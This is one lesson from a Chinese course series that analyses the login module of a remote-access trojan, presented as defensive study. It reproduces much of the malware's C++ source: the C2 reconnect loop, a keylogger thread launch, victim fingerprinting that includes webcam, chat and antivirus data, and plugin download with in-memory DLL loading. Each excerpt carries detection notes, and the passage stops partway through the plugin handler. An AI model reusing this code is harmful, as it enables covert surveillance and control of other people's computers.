22 / 52 主插件与远程能力

第 22 课:主插件:登录模块

# 第 22 课:主插件:登录模块

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课把登录模块当作防御侧样本来读。它不是单纯“发一个登录包”,而是把入口线程、网络库、登录信息、激活令牌、状态上报和插件触发串成一条链。学习目标是看清楚代码如何被触发、每段源码解决什么问题、第三方库在里面承担什么角色,以及企业侧应该从哪些位置做检测。

本课只做安全工程分析,不讲未授权使用方法,不提供可直接复用的控制流程。

登录模块在整体工程中的位置

# 1. 先看整体角色

登录模块在工程中的角色可以概括为:

  1. 被 DLL 入口或导出函数触发,创建 MainThread
  2. 根据配置选择 CTcpSocketCUdpSocket
  3. 创建 CLoginManager,把 socket 回调绑定到业务分发函数。
  4. 调用 sendLoginInfo 发送 LOGININFO
  5. 等待 TOKEN_ACTIVED,激活后进入事件循环。
  6. 继续处理心跳、状态上报和插件命令。

这也是本课的阅读顺序。新手读这类代码不要先陷入每个辅助函数,先把主线拉出来,再逐段补细节。

# 1.1 为什么要单独有登录模块

第 21 课上线模块已经能连接主控,为什么还要再加载登录模块?从源码结构看,原因是职责分离:

模块 主要职责 为什么这样分
上线模块 解析配置、建立初始连接、请求登录模块 保持入口小,减少启动阶段复杂度
登录模块 上报主机信息、等待激活、调度插件、维护缓存 把长期连接和功能插件调度集中到一个稳定模块
功能插件 文件、屏幕、音频、启动项等具体功能 每个功能独立加载,便于按需分发和版本更新

登录模块完整流程

登录模块的设计目标可以理解为五件事:

登录模块设计目标

  1. 稳定连接:根据 MyInfo 选择 TCP/UDP 和地址端口,连接主控。
  2. 身份上报:调用 sendLoginInfo 发送主机画像。
  3. 激活控制:等待主控返回 TOKEN_ACTIVED,未激活就断开重试。
  4. 插件调度:处理 COMMAND_DLLMAINCOMMAND_SENDLL
  5. 本地缓存:把插件 DLL-bin 写入 HKCU\Console\0/1,减少重复传输。

# 1.2 从上线模块到登录模块的完整顺序

把第 21 课和本课接起来看,完整顺序是:

  1. 上线模块请求并加载 登录模块.dll_bin
  2. 登录模块入口触发 MainThread
  3. MainThread 根据 MyInfo 连接主控。
  4. 连接成功后构造 CLoginManager
  5. 调用 sendLoginInfo 上报主机信息。
  6. 等待主控发送 TOKEN_ACTIVED
  7. 激活后发送 TOKEN_GETAUTODLL
  8. 主控按需发送插件元数据或插件数据。
  9. 登录模块查缓存、请求缺失插件、写注册表缓存。
  10. Loop_DllManager 内存加载插件 DLL 并调用 Main

下面这段代码是登录模块“承接上线模块”的核心:

// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:148-230
// 防御分析注释:
// 1. MainThread 是登录模块的主线入口。
// 2. 它不再请求登录模块版本,而是直接创建 CLoginManager 并发送登录信息。
// 3. sendLoginInfo 是主机画像上报点,应与网络首包关联。
// 4. 等待 TOKEN_ACTIVED 是为了避免连接错误或未授权连接继续进入插件链。
DWORD WINAPI MainThread()
{
    Sleep(_ttoi(MyInfo.szRunSleep) * 1000);

    TCHAR Time[255];
    GetTimeFormat(Time);

    void* ptcp = new CTcpSocket;
    void* pudp = new CUdpSocket;

    while (TRUE)
    {
        // 防御分析:登录模块继续复用 MyInfo 中的多地址轮转逻辑。
        if (!changeip)
        {
            _tcscpy_s(szAddress, MyInfo.szAddress);
            _tcscpy_s(szPort, MyInfo.szPort);
            IsTcp = MyInfo.IsTcp;
            changeip = (!changeip);
        }
        else
        {
            _tcscpy_s(szAddress, MyInfo.szAddress2);
            _tcscpy_s(szPort, MyInfo.szPort2);
            IsTcp = MyInfo.IsTcp2;
            changeip = (!changeip);
        }

        socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
        Sleep(_ttoi(MyInfo.szHeart) * 1000);

        if (!socketClient->Connect(szAddress, _ttoi(szPort)))
            continue;

        CLoginManager manager(socketClient, szAddress, _ttoi(szPort), IsTcp);

        if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)
        {
            socketClient->Disconnect();
            continue;
        }

        for (int i = 0; (i < 10 && !manager.IsActived()); i++)
            Sleep(1000);

        if (!manager.IsActived())
        {
            socketClient->Disconnect();
            continue;
        }

        socketClient->run_event_loop();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

这段代码解释了登录模块为什么看起来“比上线模块复杂”:它已经进入长期在线阶段,需要负责状态上报、插件调度和缓存维护。

# 2. 源码目录和关键文件

文件 大致行号 本课用途
主插件/登录模块/登录模块/登录模块.cpp 148-310、403-439 入口函数、MainThread、连接、登录、激活等待
主插件/登录模块/登录模块/LoginManager.h 11-35、58-78、93-124 命令枚举、插件元数据结构、管理器接口
主插件/登录模块/登录模块/LoginManager.cpp 11-78、186-203、213-366、641-727 插件加载线程、构造函数、命令分发、状态上报
主插件/登录模块/登录模块/help.h 84-113 LOGININFO 登录结构体
主插件/登录模块/登录模块/help.cpp 8-145 sendLoginInfo 构造登录包
主插件/登录模块/登录模块/MemoryModule.* MemoryModule.h:48-79 内存 PE 加载接口
主插件/HPSocket/* 多处 TCP/UDP 网络连接、心跳、解包、回调

# 3. 第三方库和系统库用途

只看登录模块本身会漏掉很多工程行为。这个功能用了多类第三方或系统基础库,必须把用途讲清楚。

登录模块依赖库用途

库或组件 源码位置 解决的问题 检测关注点
HPSocket 网络库 主插件/HPSocket 封装 TCP/UDP、缓冲区、心跳、解包和回调 长连接、固定心跳、包头结构、业务回调
MemoryModule 登录模块/MemoryModule.* 从内存中的 PE 数据加载 DLL,并解析导出函数 内存 PE、动态导出、非标准模块映射
MD5 登录模块/md5.* 生成 HWID 和插件缓存值名 散列命名规律,不能当安全认证
ATL CImage LoginManager.hLoginManager.cpp BMP 转 JPEG 屏幕采集与图像编码组合
DirectInput Input.h 键鼠输入接口 输入采集属于高风险隐私信号
DirectShow / DXGI help.hhelp.cpp 摄像头、显卡、显示器枚举 设备枚举与登录包字段关联
WinINet help.cpp URL 读取和文件写入辅助 进程内动态加载网络 API
DbgHelp 登录模块.cpp 崩溃转储 MiniDumpWriteDump 单独不定性,结合远控链路判断

库名本身不是结论。更可靠的判断方式,是看同一进程内是否同时出现登录首包、长连接心跳、设备枚举、注册表二进制缓存和内存加载。

# 4. 登录模块的触发入口

登录模块有两条入口:Release 下的 DllMain,以及导出函数 run。两条路径都会创建 MainThread

// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:403-439
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    // ul_reason_for_call 表示 DLL 当前被调用的原因。
    // 本模块只在 DLL_PROCESS_ATTACH 场景下启动主逻辑。
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
#ifdef _DEBUG
        // Debug 版本通常不在 DllMain 中直接跑主逻辑,便于调试。
#else
        // 防御分析:Release 版本在 DLL 被加载时触发主线程。
        // 也就是说,入口并不一定是 EXE 的 main/winmain。
        if (hThread == NULL)
        {
            // hThread 是登录主线程句柄。
            // 线程起始地址指向 MainThread,主机侧可据此关联模块加载和线程创建。
            hThread = CreateThread(
                0, 0,
                (LPTHREAD_START_ROUTINE)MainThread,
                0, 0, 0);

            // 防御分析:在 DllMain 内等待线程结束是危险写法,
            // 可能带来加载锁问题,也方便检测 DLL 加载后的异常线程行为。
            WaitForSingleObject(hThread, INFINITE);
        }
#endif
    }
    break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) bool run()
{
    // 防御分析:run 是另一条显式触发路径。
    // 如果看到外部加载器调用该导出函数,应继续追踪它创建的 MainThread。
    HANDLE hThread = CreateThread(
        0, 0,
        (LPTHREAD_START_ROUTINE)MainThread,
        0, 0, 0);

    WaitForSingleObject(hThread, INFINITE);
    Sleep(300);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# 5. MainThread 做了哪些事

MainThread 先处理启动延迟、守护、保护、输入采集等开关,然后进入连接循环。

// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:148-180
DWORD WINAPI MainThread()
{
    // 防御分析:启动延迟来自配置 MyInfo.szRunSleep。
    // 延迟执行可能让短时沙箱漏掉后续行为。
    // 该字段来自全局配置 MyInfo,是登录链路的第一处时间控制点。
    Sleep(_ttoi(MyInfo.szRunSleep) * 1000);

    if (MyInfo.otherset.Processdaemon)
    {
        // Processdaemon 表示进程守护开关。
        // loactThreadProc 会额外创建守护相关线程,检测时要和主线程区分。
        PROCESS_INFORMATION* pi = new PROCESS_INFORMATION;
        CloseHandle((HANDLE)_beginthreadex(NULL, 0, loactThreadProc, pi, 0, NULL));
    }

    // ProtectedProcess 表示进程保护开关。
    // 这类行为应结合权限、调用栈和目标进程判断风险。
    if (MyInfo.otherset.ProtectedProcess)
        CallNtSetinformationProcess();

    // 注册异常处理函数。正常软件也可能这么做,但这里会和登录链路同时出现。
    SetUnhandledExceptionFilter(My_bad_exception);

    // 防御分析:输入采集线程是高风险隐私行为。
    // 本课只说明检测意义,不展开使用方式。
    // KeyLoggerThreadProc 是输入采集相关线程入口,企业侧应记录线程起始地址。
    CloseHandle((HANDLE)_beginthreadex(NULL, 0, KeyLoggerThreadProc, NULL, 0, NULL));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

接下来是网络连接循环。

// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:180-249
// ptcp / pudp 是两种通信实现的实例,后面通过 IsTcp 选择其一。
// 检测时要注意:同一进程可能同时创建 TCP 和 UDP 对象,但实际只使用其中一个。
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;

while (TRUE)
{
    // 防御分析:配置中有多组地址和端口,连接失败后会轮换。
    // szAddress / szPort 是当前尝试连接的目标。
    // IsTcp 决定使用 CTcpSocket 还是 CUdpSocket。
    if (!changeip)
    {
        _tcscpy_s(szAddress, MyInfo.szAddress);
        _tcscpy_s(szPort, MyInfo.szPort);
        IsTcp = MyInfo.IsTcp;
        changeip = (!changeip);
    }
    else
    {
        _tcscpy_s(szAddress, MyInfo.szAddress2);
        _tcscpy_s(szPort, MyInfo.szPort2);
        IsTcp = MyInfo.IsTcp2;
        changeip = (!changeip);
    }

    // 每轮连接前先断开旧连接,避免旧 socket 状态影响新一轮。
    // 这会形成“失败-断开-等待-重连”的网络节奏。
    if (socketClient)
        socketClient->Disconnect();

    // 根据配置选择 TCP 或 UDP 网络对象。
    if (IsTcp == 1)
        socketClient = (CTcpSocket*)ptcp;
    else
        socketClient = (CUdpSocket*)pudp;

    // 触发点:真正发起网络连接。
    // 企业侧应记录目标地址、端口、协议和当前进程路径。
    if (!socketClient->Connect(szAddress, _ttoi(szPort)))
    {
        // 连接失败后等待 3 秒继续循环,属于稳定重试特征。
        Sleep(3000);
        continue;
    }

    // 将当前连接交给登录管理器。
    // CLoginManager 构造函数会把自己注册为 socket 回调,并初始化本地插件缓存。
    CLoginManager manager(
        socketClient,
        szAddress,
        _ttoi(szPort),
        IsTcp,
        MyInfo.otherset.special);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

# 6. HPSocket 如何触发 OnReceive

CLoginManager 继承自 CManagerCManager 构造函数会把自己注册到 socket 对象里。

// 源码位置:主插件/HPSocket/Manager.cpp:12-19
CManager::CManager(ISocketBase* pClient)
{
    // pClient 是当前已经连接或即将连接的 socket 抽象对象。
    // 登录模块通过 ISocketBase 屏蔽 TCP/UDP 的差异。
    m_pClient = pClient;

    // 触发关系:网络层收到完整业务包后,会回调当前 manager。
    // 这是理解 OnReceive 如何被触发的关键,不是 MainThread 主动轮询命令。
    m_pClient->setManagerCallBack(this);

    // m_hEventDlgOpen 是管理器基类中的事件对象。
    // bStop 控制 Send 是否继续向网络层写数据。
    m_hEventDlgOpen = CreateEventA(NULL, true, false, NULL);
    bStop = FALSE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

TCP 收包后的关键逻辑如下。UDP 的模式类似,位于 主插件/HPSocket/UdpSocket.cpp:789-820

// 源码位置:主插件/HPSocket/TcpSocket.cpp:275-305
bool CTcpSocket::OnReceive(const BYTE* pData, int iLength)
{
    // pData/iLength 是网络层收到的原始片段。
    // m_CompressionBuffer 负责把分片数据拼成完整业务包。
    m_CompressionBuffer.Write((LPBYTE)pData, iLength);

    while ((int)(m_CompressionBuffer.GetBufferLen()) > 14)
    {
        // 防御分析:包头中包含长度和 10 字节校验字段。
        // 固定包头、固定校验字段和后续心跳可以作为网络侧关联线索。
        if ((memcmp(m_password, m_CompressionBuffer.GetBuffer(4), 10) != 0))
        {
            m_CompressionBuffer.ClearBuffer();
            return FALSE;
        }

        // nSize 取自包头前 4 字节,表示完整业务包长度。
        // 如果长度字段异常,后续解包和内存拷贝都可能出问题。
        int nSize = 0;
        CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(0), sizeof(int));

        if (nSize && (int)m_CompressionBuffer.GetBufferLen() >= nSize)
        {
            // activetime 用于判断连接是否仍然活跃。
            activetime = timeGetTime();
            m_DeCompressionBuffer.ClearBuffer();

            // 解出业务数据。此处去掉 14 字节头部后交给业务层。
            m_DeCompressionBuffer.Write(
                m_CompressionBuffer.GetBuffer(14),
                nSize - 14,
                1,
                m_password);

            // 触发点:解出完整业务包后进入 CLoginManager::OnReceive。
            // 后续 TOKEN_LOGIN/TOKEN_ACTIVED/COMMAND_* 都从这里进入业务分发。
            m_pManager->OnReceive(
                m_DeCompressionBuffer.GetBuffer(0),
                m_DeCompressionBuffer.GetBufferLen());

            // 删除已处理数据,缓冲区中可能还剩下下一个业务包。
            m_CompressionBuffer.Delete(nSize);
        }
        else
            break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

登录触发时序

# 7. LOGININFO 是什么

LOGININFO 是登录首包的核心结构体,里面包含主机、系统、进程、设备和分组等字段。

LOGININFO 字段分组

// 源码位置:主插件/登录模块/登录模块/help.h:84-113
typedef struct
{
    // 下面这些字段会被整体作为登录首包发送。
    // 企业侧可把“固定结构体 + 登录令牌 + 环境枚举”作为组合线索。
    BYTE  Btoken;          // 协议令牌,登录时为 TOKEN_LOGIN
    TCHAR N_ip[255];       // 内网 IP 列表
    TCHAR ip[20];          // 公网 IP
    TCHAR addr[40];        // 地址字段
    TCHAR UserActive[15];  // 用户活跃状态
    TCHAR CptName[50];     // 计算机名
    TCHAR OsName[50];      // 系统名称
    TCHAR OSVersion[30];   // 系统版本
    TCHAR CPU[60];         // CPU 信息
    TCHAR DAM[200];        // 硬盘和内存信息
    TCHAR GPU[150];        // 显卡信息
    TCHAR Window[255];     // 当前前景窗口,属于隐私敏感运行状态
    TCHAR Group[50];       // 分组
    TCHAR Version[50];     // 客户端版本
    TCHAR Remark[50];      // 备注
    TCHAR m_Time[50];      // 运行时间
    TCHAR ExeAndOs[10];    // 程序和系统位数
    TCHAR Process[50];     // 进程权限用户
    TCHAR ProcPath[250];   // 进程路径
    TCHAR pid[10];         // 进程 ID
    TCHAR IsWebCam[4];     // 摄像头标志,属于设备隐私信号
    TCHAR Chat[255];       // 即时通信相关字段,属于隐私敏感信号
    TCHAR Virus[50];       // 安全软件字段
    TCHAR lpLCData[32];    // 系统语言
    TCHAR Monitors[255];   // 显示器信息
    TCHAR szSysdire[50];   // 系统目录
    TCHAR szHWID[49];      // HWID,MD5 结果
    BOOL  backdoor;        // 特殊连接标志
} LOGININFO;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

对新手来说,读结构体最有效的方法是分组:

分组 字段
身份与网络 BtokenN_ipCptNameszHWID
系统环境 OsNameOSVersionCPUDAMGPUMonitors
运行状态 UserActiveWindowm_TimeProcesspid
隐私敏感 IsWebCamChatWindow

# 8. sendLoginInfo 如何被触发

连接成功并创建 CLoginManager 后,MainThread 立刻调用 sendLoginInfo。登录包发送失败就断开并重试;发送成功后等待激活。

// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:269-298
if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)
{
    socketClient->Disconnect();
    continue;
}

// 防御分析:等待 TOKEN_ACTIVED,超时则断开重连。
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
    Sleep(1000);
}

if (!manager.IsActived())
{
    socketClient->Disconnect();
    Sleep(1000);
    continue;
}

// 激活后进入网络事件循环。
socketClient->run_event_loop();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

sendLoginInfo 负责填充并发送 LOGININFO

// 源码位置:主插件/登录模块/登录模块/help.cpp:8-145
int sendLoginInfo(ISocketBase* pClient, TCHAR* Time, BOOL sw_user)
{
    // pClient 是已经连接成功的 socket 抽象对象。
    // Time 是 MainThread 记录的运行时间。
    // sw_user 会写入 LOGININFO.backdoor,用于区分特殊连接状态。
    LOGININFO* LoginInfo = new LOGININFO;
    memset(LoginInfo, 0, sizeof(LOGININFO));

    // 登录首包令牌。
    // 后续网络流量可围绕 TOKEN_LOGIN -> TOKEN_ACTIVED -> TOKEN_GETAUTODLL 建链。
    LoginInfo->Btoken = TOKEN_LOGIN;

    // 获取主机名和内网 IP。
    // hostname / n_ip 会进入 LOGININFO,是资产画像的一部分。
    char n_ip[200] = {};
    char hostname[50] = {};
    gethostname(hostname, sizeof(hostname));

    // gethostbyname 用于根据主机名解析本机地址列表。
    // 连接成功后立刻做环境枚举,是主机侧的重要时间线。
    HOSTENT* host = gethostbyname(hostname);

    if (host != NULL)
    {
        for (int i = 0; ; i++)
        {
            strcat_s(n_ip, 200, inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]));
            strcat_s(n_ip, 200, " ");
            if (host->h_addr_list[i] + host->h_length >= host->h_name)
                break;
        }
    }

    // 把 ANSI 字符串转换成 TCHAR 宽字符字段,写入登录结构体。
    MultiByteToWideChar(CP_ACP, 0, n_ip, -1, LoginInfo->N_ip,
        MultiByteToWideChar(CP_ACP, 0, n_ip, -1, NULL, 0));

    // 以下辅助函数集中采集用户活跃、系统版本、磁盘内存、显卡显示器和前景窗口。
    // 单个 API 不一定异常,但短时间集中出现且紧跟网络首包时需要重点关联。
    GetActive(LoginInfo->UserActive);
    GetNtVersionNumbers(LoginInfo->OSVersion, LoginInfo->OsName);
    GetDiskAndMem(LoginInfo->DAM);
    getgpuandMonitor(LoginInfo->GPU, LoginInfo->Monitors);
    getactivewindows(LoginInfo->Window);
    GetProcessIntegrity(LoginInfo);
    GetProcessFullPath(GetCurrentProcessId(), LoginInfo->ProcPath);

    // 防御分析:摄像头、前景窗口、即时通信字段属于隐私敏感信息。
    IsWebCam() ? _tcscpy_s(LoginInfo->IsWebCam, _T("有"))
               : _tcscpy_s(LoginInfo->IsWebCam, _T("X"));
    GetQQ(LoginInfo->Chat);
    wcsncpy_s(LoginInfo->Virus, ARRAYSIZE(LoginInfo->Virus),
        GetVirus(), ARRAYSIZE(LoginInfo->Virus) - 1);

    // HWID 由多项主机信息计算 MD5。
    // MD5 这里只是标识生成方式,不具备认证强度。
    HW_PROFILE_INFO hwProfileInfo;
    if (GetCurrentHwProfile(&hwProfileInfo))
    {
        BufToMd5(LoginInfo->szHWID,
            LoginInfo->CptName,
            LoginInfo->OSVersion,
            LoginInfo->N_ip,
            LoginInfo->CPU,
            _T("X64"),
            LoginInfo->Process,
            hwProfileInfo.szHwProfileGuid);
    }

    // 触发点:发送固定大小的 LOGININFO。
    // 如果网络侧看到连接建立后立即发送固定结构体,应该继续关联后续激活和插件请求。
    int nRet = pClient->Send((LPBYTE)LoginInfo, sizeof(LOGININFO));
    SAFE_DELETE(LoginInfo);
    return nRet;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

# 9. CLoginManager 构造函数

CLoginManager 构造函数保存连接上下文,并初始化本地插件缓存。

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:186-203
CLoginManager::CLoginManager(
    ISocketBase* pClient,
    TCHAR* lpszMasterHost,
    UINT nMasterPort,
    BOOL bIsTcp,
    BOOL IsBackDoor) : CManager(pClient)
{
    // pClient 在基类 CManager 中被注册为回调对象。
    // lpszMasterHost/nMasterPort/bIsTcp 会传给后续插件,形成连接上下文继承。
    // IsBackDoor 控制特殊连接状态,后续 OnReceive 会根据该字段走不同分支。
    m_IsBackDoor = IsBackDoor;

    if (lpszMasterHost != NULL)
        _tcscpy_s(m_strMasterHost, lpszMasterHost);

    // 保存当前登录连接的目标地址、端口和协议模式。
    m_nMasterPort = nMasterPort;
    m_bIsTcp = bIsTcp;

    // m_bIsActived 初始为 FALSE,收到 TOKEN_ACTIVED 后才变为 TRUE。
    m_bIsActived = FALSE;

    // 默认插件加载模式为 DLL_MEMLOAD,后续会影响 Loop_DllManager 的加载分支。
    m_nDllLoadMode = DLL_MEMLOAD;

    // 防御分析:x64 读取 Console\1,x86 读取 Console\0。
    // 连接刚建立就读取该位置,说明模块在检查本地插件缓存。
#ifdef _WIN64
    EnumRegeditData(_T("Console\\1"));
#else
    EnumRegeditData(_T("Console\\0"));
#endif
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 10. OnReceive 如何处理激活令牌

OnReceive 是命令分发中心。它由网络层回调触发,不是 MainThread 主动调用。

激活与心跳状态

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:213-240
void CLoginManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    // lpBuffer 是 HPSocket 解包后的业务数据。
    // lpBuffer[0] 被当作 TOKEN_* 或 COMMAND_* 分发依据。
    // nSize 是业务数据长度,命令分支应先验证它是否满足结构体大小要求。
    if (!m_IsBackDoor)
    {
        HKEY hKEY;
        DWORD dwType = REG_BINARY;
        DWORD IpDateSize = 0;

        // 防御分析:通过 HKCU\Console\IpDatespecial 控制特殊状态。
        // 网络事件和注册表状态同时出现时,应放在同一时间窗关联。
        if (ERROR_SUCCESS == ::RegOpenKeyEx(
            HKEY_CURRENT_USER, _T("Console"), 0, KEY_READ, &hKEY))
        {
            RegQueryValueEx(hKEY, _T("IpDatespecial"),
                NULL, &dwType, NULL, &IpDateSize);
        }

        if (IpDateSize > 1)
            return;
    }

    switch (lpBuffer[0])
    {
    case TOKEN_ACTIVED:
    {
        // 触发点:主控端返回激活令牌。
        // 这是登录阶段切换到后续命令阶段的状态边界。
        if (m_bIsActived) return;
        InterlockedExchange((LONG*)&m_bIsActived, TRUE);

        // 激活后马上请求自动插件信息。
        // 因此 TOKEN_ACTIVED 后面通常会跟 TOKEN_GETAUTODLL。
        BYTE lpPacket = TOKEN_GETAUTODLL;
        Send((LPBYTE)&lpPacket, 1);
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

执行顺序:

  1. HPSocket 解出完整包。
  2. 调用 CLoginManager::OnReceive
  3. lpBuffer[0] 被当成令牌或命令。
  4. 收到 TOKEN_ACTIVED 后设置 m_bIsActived
  5. 发送 TOKEN_GETAUTODLL,进入插件请求阶段。

# 11. 插件命令和元数据结构

登录管理器能处理的命令定义在 LoginManager.h

// 源码位置:主插件/登录模块/登录模块/LoginManager.h:11-35
enum LoginManager
{
    // 插件加载相关命令。后续 COMMAND_DLLMAIN -> COMMAND_SENDLL 会进入动态加载边界。
    COMMAND_DLLMAIN,                  // 请求插件元数据
    COMMAND_SENDLL,                   // 接收插件数据

    // 连接、状态和屏幕类命令。
    COMMAND_CLOSESOCKET,
    COMMAND_GET_PROCESSANDCONDITION,  // 获取进程/状态
    COMMAND_GET_SCREEN,               // 获取屏幕

    // 本地文件和进程控制类命令,防御侧应结合权限和父进程判断。
    COMMAND_UPLOAD_EXE,
    COMMAND_DOWN_EXE,
    COMMAND_RENAME,
    COMMAND_FILTERPROCESS,
    COMMAND_MONITOR,
    COMMAND_GETMONITOR,
    COMMAND_CLEANLOG,
    COMMAND_RESTART,
    COMMAND_EXIT,
    COMMAND_LOGOUT,
    COMMAND_REBOOT,
    COMMAND_SHUTDOWN,
    COMMAND_CHANGELOAD,
    COMMAND_MOVECLIENT,
    COMMAND_COPYCLIENT,
    COMMAND_SET_DOOR_GETPERMINSSION = 100,
    COMMAND_SET_DOOR_QUITPERMINSSION,
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

插件相关结构体如下。

// 源码位置:主插件/登录模块/登录模块/LoginManager.h:58-78
struct DllSendData
{
    SendTaskType sendTaskType;   // 插件任务类型
    TCHAR szDllName[255];        // 插件名称
    BOOL  bIsX64;                // 插件位数
    int   dllDataSize;           // 插件数据大小,后续内存分配依赖该字段,必须关注上限
    TCHAR szVersion[50];         // 插件版本
    TCHAR szcommand[1000];       // 插件命令参数
    int   i;
};

struct DllData
{
    CLoginManager* m_CLoginManager; // 回到登录管理器发送状态
    TCHAR* m_strMasterHost;         // 继承登录模块连接地址
    UINT   m_nMasterPort;           // 继承端口
    BOOL   m_bIsTcp;                // 继承 TCP/UDP 模式
    DllSendData* m_sendDllData;     // 插件元数据
    byte*  m_pDllData;              // 插件二进制数据,后续可能进入 MemoryLoadLibrary
    DLL_LOAD_MODEL m_nDllLoadMode;  // 加载模式,决定 LoadLibrary 还是内存加载路径
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

这些结构解释了一个关键事实:登录模块是后续插件的连接上下文中转站。插件并不重新发明连接信息,而是继承登录模块里的地址、端口和协议模式。

# 12. COMMAND_DLLMAIN:请求插件元数据

COMMAND_DLLMAIN 收到的是插件元数据。代码先检查本地缓存里有没有同名同版本插件;如果有,直接启动加载线程;如果没有,发出 TOKEN_SENDLL 请求插件数据。

插件数据触发与加载流程

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:241-313
case COMMAND_DLLMAIN:
{
    // nSize 必须刚好等于命令字节 + DllSendData。
    // 这是协议解析边界;长度异常时直接返回,避免继续解析错位数据。
    if (nSize != (sizeof(DllSendData) + 1))
        return;

    // pDllSendData 保存插件名称、版本、位数、数据大小等元信息。
    DllSendData* pDllSendData = new DllSendData;
    ZeroMemory(pDllSendData, sizeof(DllSendData));

    // lpBuffer[0] 是命令字节,后面才是 DllSendData。
    ::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData));

    // 防御分析:遍历进程内插件缓存。
    // 源码注释也提示这里在多连接场景下可能存在并发风险。
    for (std::vector<DllData*>::iterator it = g_vecDllDatas.begin();
         it != g_vecDllDatas.end(); )
    {
        if (_tcscmp((*it)->m_sendDllData->szDllName,
                   pDllSendData->szDllName) == 0)
        {
            // 更新连接上下文。
            // 这里说明插件会复用登录模块的目标地址、端口和协议模式。
            (*it)->m_strMasterHost = m_strMasterHost;
            (*it)->m_nMasterPort = m_nMasterPort;
            (*it)->m_bIsTcp = m_bIsTcp;
            (*it)->m_CLoginManager = this;

            // 触发点:本地已有插件数据时,直接进入插件加载线程。
            HANDLE hWorker = (HANDLE)_beginthreadex(
                NULL, 0, Loop_DllManager, (void*)(*it), 0, NULL);
            CloseHandle(hWorker);

            SAFE_DELETE(pDllSendData);
            return;
        }
        else
        {
            ++it;
        }
    }

    // 本地没有缓存,请求发送插件数据。
    // TOKEN_SENDLL 是从“请求插件元数据”进入“接收插件数据”的转折点。
    LPBYTE lpBuffer = new BYTE[sizeof(DllSendData) + 1];
    lpBuffer[0] = TOKEN_SENDLL;

#ifdef _WIN64
    // bIsX64 会告诉对端当前模块位数,后续插件数据也会按位数区分。
    pDllSendData->bIsX64 = 1;
#else
    pDllSendData->bIsX64 = 0;
#endif

    ::memcpy(lpBuffer + 1, pDllSendData, sizeof(DllSendData));
    Send((LPBYTE)lpBuffer, sizeof(DllSendData) + 1);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

# 13. COMMAND_SENDLL:接收并缓存插件数据

COMMAND_SENDLL 收到完整插件数据后,会把数据保存到内存结构和注册表,然后启动 Loop_DllManager

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:314-366
case COMMAND_SENDLL:
{
    // temp 保存插件元数据。它来自网络包体,不能默认可信。
    DllSendData* temp = new DllSendData;
    ZeroMemory(temp, sizeof(DllSendData));
    ::memcpy(temp, lpBuffer + 1, sizeof(DllSendData));

    // 防御分析:根据对端声明的 dllDataSize 分配内存。
    // 这里是稳定性和安全风险点:长度过大、为负或与 nSize 不一致都会影响后续拷贝。
    BYTE* pPluginDllShellcodeData = new BYTE[temp->dllDataSize];

    // 从网络包中复制插件二进制数据到进程内存。
    // 网络侧 COMMAND_SENDLL、内存侧新缓冲区、后续线程启动应放在同一条链里看。
